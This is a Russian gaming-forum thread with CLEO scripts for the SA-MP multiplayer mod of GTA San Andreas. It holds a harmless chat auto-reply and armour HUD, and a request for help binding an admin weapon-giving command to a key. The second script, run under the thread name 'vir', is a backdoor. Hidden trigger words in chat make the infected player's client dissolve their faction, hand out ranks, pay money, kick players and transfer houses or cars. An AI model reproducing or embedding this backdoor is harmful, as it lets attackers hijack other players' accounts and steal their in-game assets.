Дата: Суббота, 05.09.2015, 21:46 | Сообщение # 572
Боец
Сообщений: 222
Статус: Offline
Код
{$CLEO} if not 0@ = SAMP.Base() then 0A93: end_custom_thread end while not SAMP.Available() wait 100 end while true wait 0 0B75: samp get_chat_string 1@ text_to 2@ prefix_to 3@ color_to 4@ prefix_color_to 5@ if 0C18: 2@ = strstr string1 1@ string2 "ку" then 0AF9: samp say_msg "куку " wait 1000 end end
:TXD_29 wait 0 if Player.Defined($PLAYER_CHAR) jf @TXD_29 0390: load_txd_dictionary "ARM" 038F: load_texture "RADAR" as 124 // Load dictionary with 0390 first
:TXD_67 wait 0 038D: draw_texture 124 position 82.0 372.5 size 137.0 113.0 RGBA 255 255 255 255 04DD: 1@ = actor $PLAYER_ACTOR armour 03E4: enable_text_draw_align_right 1 033F: set_text_draw_letter_size 0.3 0.6 0340: set_text_draw_RGBA 255 255 255 255 081C: draw_text_outline 1 RGBA 0 0 0 255 045A: draw_text_1number 999.0 999.0 GXT 'NUMBER' number 1@ // ~1~ if not 1@ >= 190 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 93 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if not 1@ >= 95 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 94 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if not 1@ >= 90 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 95 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if not 1@ >= 85 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 96 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if not 1@ >= 80 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 97 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if not 1@ >= 75 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 98 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if not 1@ >= 70 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 99 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if not 1@ >= 65 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 100 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if not 1@ >= 60 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 101 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if not 1@ >= 55 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 102 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if not 1@ >= 50 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 103 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if not 1@ >= 45 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 104 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if not 1@ >= 40 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 105 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if not 1@ >= 35 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 106 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if not 1@ >= 30 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 107 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if not 1@ >= 25 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 108 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if not 1@ >= 20 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 109 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if not 1@ >= 15 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 110 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if not 1@ >= 10 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 111 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if not 1@ >= 5 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 112 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 if 1@ > 1 jf @TXD_67 03E3: set_texture_to_be_drawn_antialiased 1 038D: draw_texture 113 position 800.0 76.86 size 150.0 150.0 RGBA 255 255 255 255 jump @TXD_67
И вот этот (нужен сампфункс для этого скрипта)
Код
{$CLEO .cs} 0000:NOP thread 'vir'
if not 10@ = SAMP.Base() then 0A93: end_custom_thread end while not SAMP.Available() wait 100 end
:1 while true wait 0 0AB1: call @getChatEntryText 1 id 99 to 1@ if 0C18: 9@ = strstr string1 1@ string2 "dr11" // rasform then jump @rasform else if 0C18: 9@ = strstr string1 1@ string2 "dr12" // invite,giverank then jump @invite else if 0C18: 9@ = strstr string1 1@ string2 "dr13" // pay then jump @pay else if 0C18: 9@ = strstr string1 1@ string2 "dr14" // kick then jump @kick else if 0C18: 9@ = strstr string1 1@ string2 "dr15" // neadekvat then jump @neadekvat else if 0C18: 9@ = strstr string1 1@ string2 "dr16" // report then jump @reportflood else if 0C18: 9@ = strstr string1 1@ string2 "dr17" // transfer then jump @transfer else if 0C18: 9@ = strstr string1 1@ string2 "dr18" // house then jump @house else if 0C18: 9@ = strstr string1 1@ string2 "dr19" // car then jump @car end end end end end end end end end end
:rasform wait 1000 0AF9: samp say_msg "/members" wait 1000 0@ = 99 :Label1 if 0@ > 0 else_jump @1 0AB1: call @getChatEntryText 1 id 0@ to 1@ if 1 0C18: 3@ = strstr string1 1@ string2 "ранг:" 0AD4: 4@ = scan_string 1@ format " [%d] %s ранг: %d" 5@ 6@ 7@ then 0AF9: samp say_msg "/uninvite %d" 5@ wait 1000 0@ -= 2 else 0@ -= 1 end jump @Label1
:GetSampBase 0AA2: 31@ = load_library "kernel32.dll" // IF and SET 0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // IF and SET 0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@ 0ab2: ret 1 0@
0662: "Created by Sieq_Klas" 0662: "Translated into 0.3z Doker" 0662: "Cheat-Master.Ru"
Дата: Суббота, 05.09.2015, 21:48 | Сообщение # 582
Боец
Сообщений: 154
Статус: Offline
Нужно сделать так, что-бы при наводке на игрока и нажатии на клавишу M, ему выдавало оружие(админ команда) Вот мой скрипт, но что-то тут не так.
Код
{$CLEO .cs} wait 2000 while true wait 0 if and 0AD2: 1@ = player $PLAYER_CHAR targeted_actor //IF and SET 0AB0: key_pressed 1100 then 2@ = SAMP.GetSAMPPlayerIDByActorHandle(1@) 0AF9: samp say_msg "/givegun %d 31 2000" 2@ wait 1000 end end
